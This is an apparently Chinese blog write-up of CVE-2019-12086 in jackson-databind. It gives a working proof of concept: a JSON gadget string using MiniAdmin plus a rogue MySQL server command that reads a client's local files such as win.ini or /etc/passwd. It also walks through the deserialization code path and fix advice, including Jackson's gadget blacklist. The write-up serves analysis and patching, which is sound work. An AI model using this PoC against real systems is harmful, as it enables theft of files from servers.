jackson反序列化枚举(jackson-databind反序列化漏洞)

影响范围

Jackson 2.x系列 < 2.9.9

漏洞类型

反序列化导致任意文件读取

利用条件

  • 开启Default Typing

  • 目标环境中存在8.0.14版本以下的MySQL驱动,即mysql-connector-java版本 < 8.0.14

漏洞概述

在开启DefaultTyping的情况下,jackson在反序列化json时,可以指定反序列化类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。

com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库,在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。

漏洞复现

环境搭建

pom.xml

  <dependencies>    <dependency>      <groupId>com.fasterxml.jackson.core</groupId>      <artifactId>jackson-core</artifactId>      <version>2.9.2</version>    </dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.2</version> </dependency> <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.14</version> </dependency> </dependencies>
漏洞利用
启动恶意Mysql服务

下载恶意的MySQL服务器启动脚本(https://github.com/allyshka/Rogue-MySql-Server),之后修改脚本中的filelist文件,指定要读取的文件路径:

之后运行脚本,并核对是否开启3306端口:

python rogue_mysql_server.py \\\"C:/Windows/win.ini\\\"

jackson反序列化枚举(jackson-databind反序列化漏洞)

执行漏洞POC

package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc { public static void main(String[] args) throws Exception{ ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json=\\\"[\\\\\\\"com.mysql.cj.jdbc.admin.MiniAdmin\\\\\\\",\\\\\\\"jdbc:mysql://127.0.0.1:3306/foo\\\\\\\"]\\\"; try { mapper.readValue(json, Object.class); }catch(IOException e){ e.printStackTrace(); } }
}

jackson反序列化枚举(jackson-databind反序列化漏洞)

漏洞分析

知识拓展
LOAD DATA LOCAL

MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。

协议的工作过程大致如下:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;

  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;

  3. 服务端->客户端:把你本地的/data.txt文件发给我;

  4. 客户端->服务端:/data.txt文件的内容;

问题在于,客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;

  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;

  3. 服务端->客户端:把你本地的/etc/passwd文件发给我;

  4. 客户端->服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露。

allowLoadLocalInfile

allowLoadLocalInfile是MySQL的JDBC驱动的一个创建连接的配置项,用来控制是否允许从本地读取文件,默认值为True。

源码分析

在mapper.readValue处下断点进行调试分析:

jackson反序列化枚举(jackson-databind反序列化漏洞)

之后一路调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:

jackson反序列化枚举(jackson-databind反序列化漏洞)

jackson反序列化枚举(jackson-databind反序列化漏洞)

继续往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

jackson反序列化枚举(jackson-databind反序列化漏洞)

之后继续跟进查看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为jdbc:127.0.0.1:3306/foo,接着就是调用AnnotatedConstructor.call1():

jackson反序列化枚举(jackson-databind反序列化漏洞)

跟进去发现调用了Constructor.newInstance()方法来创建新的实例:

jackson反序列化枚举(jackson-databind反序列化漏洞)

之后调用重载的构造函数MiniAdmin(),在该函数中会新建一个Driver示例并调用实例的connect方法,且以jdbcurl和props(类)为参数:

jackson反序列化枚举(jackson-databind反序列化漏洞)

之后一路跟进,会调用NonRegisteringDriver.class中的connect方法进行连接初始化操作:

之后会去解析连接:

最后连接恶意Mysql服务器,并将本地客户端的敏感文件上传到恶意服务器端,从而造成任意文件读取~

修复建议

1、MySQL Connector/J的修复:

MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false:

https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/news-8-0-15.html

2、Jackson的修复:

从2.9.9版本开始,Jackson将”com.mysql.cj.jdbc.admin.MiniAdmin”加入到反序列化黑名单中:

        static {        Set<String> s = new HashSet<String>();        // Courtesy of [https://github.com/kantega/notsoserial]:        // (and wrt [databind#1599])        s.add(\\\"org.apache.commons.collections.functors.InvokerTransformer\\\");        s.add(\\\"org.apache.commons.collections.functors.InstantiateTransformer\\\");        s.add(\\\"org.apache.commons.collections4.functors.InvokerTransformer\\\");        s.add(\\\"org.apache.commons.collections4.functors.InstantiateTransformer\\\");        s.add(\\\"org.codehaus.groovy.runtime.ConvertedClosure\\\");        s.add(\\\"org.codehaus.groovy.runtime.MethodClosure\\\");        s.add(\\\"org.springframework.beans.factory.ObjectFactory\\\");        s.add(\\\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\\");        s.add(\\\"org.apache.xalan.xsltc.trax.TemplatesImpl\\\");        // [databind#1680]: may or may not be problem, take no chance        s.add(\\\"com.sun.rowset.JdbcRowSetImpl\\\");        // [databind#1737]; JDK provided        s.add(\\\"java.util.logging.FileHandler\\\");        s.add(\\\"java.rmi.server.UnicastRemoteObject\\\");        // [databind#1737]; 3rd party//s.add(\\\"org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor\\\"); // deprecated by [databind#1855]        s.add(\\\"org.springframework.beans.factory.config.PropertyPathFactoryBean\\\");
    // s.add(\\\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\\\"); // deprecated by [databind#1931]// s.add(\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\"); // - \\\"\\\" - // [databind#1855]: more 3rd party s.add(\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\"); s.add(\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"); // [databind#1899]: more 3rd party s.add(\\\"org.hibernate.jmx.StatisticsService\\\"); s.add(\\\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\\"); // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities s.add(\\\"org.apache.ibatis.parsing.XPathParser\\\");
    // [databind#2052]: Jodd-db, with jndi/ldap lookup s.add(\\\"jodd.db.connection.DataSourceConnectionProvider\\\");
    // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup s.add(\\\"oracle.jdbc.connector.OracleManagedConnectionFactory\\\"); s.add(\\\"oracle.jdbc.rowset.OracleJDBCRowSet\\\");
    // [databind#2097]: some 3rd party, one JDK-bundled s.add(\\\"org.slf4j.ext.EventData\\\"); s.add(\\\"flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor\\\"); s.add(\\\"com.sun.deploy.security.ruleset.DRSHelper\\\"); s.add(\\\"org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl\\\");
    // [databind#2186]: yet more 3rd party gadgets s.add(\\\"org.jboss.util.propertyeditor.DocumentEditor\\\"); s.add(\\\"org.apache.openjpa.ee.RegistryManagedRuntime\\\"); s.add(\\\"org.apache.openjpa.ee.JNDIManagedRuntime\\\"); s.add(\\\"org.apache.axis2.transport.jms.JMSOutTransportInfo\\\");
    // [databind#2326] (2.9.9): one more 3rd party gadget s.add(\\\"com.mysql.cj.jdbc.admin.MiniAdmin\\\");
    DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }

    参考链接

    https://www.cnblogs.com/xinzhao/p/11005419.html

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12086

    https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.9

    https://github.com/FasterXML/jackson-databind/issues/2326

    https://nvd.nist.gov/vuln/detail/CVE-2019-12086

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34325.html

    (0)
    七芒星实验室's avatar七芒星实验室
    上一篇 2024年4月8日 下午7:07
    下一篇 2024年4月8日 下午7:09

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注